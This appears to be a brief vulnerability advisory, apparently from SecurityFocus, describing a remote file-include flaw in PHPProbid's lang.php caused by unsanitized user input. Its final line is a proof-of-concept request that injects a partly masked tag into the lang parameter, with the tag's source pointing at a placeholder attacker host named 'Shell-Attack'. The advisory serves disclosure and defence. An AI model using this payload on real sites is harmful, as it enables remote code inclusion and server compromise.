source: http://www.securityfocus.com/bid/22374/info

PHPProbid is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://example.com//lang.php?lang=<i*****%20height=1000%20width=1000%2 0src=http://Shell-Attack/>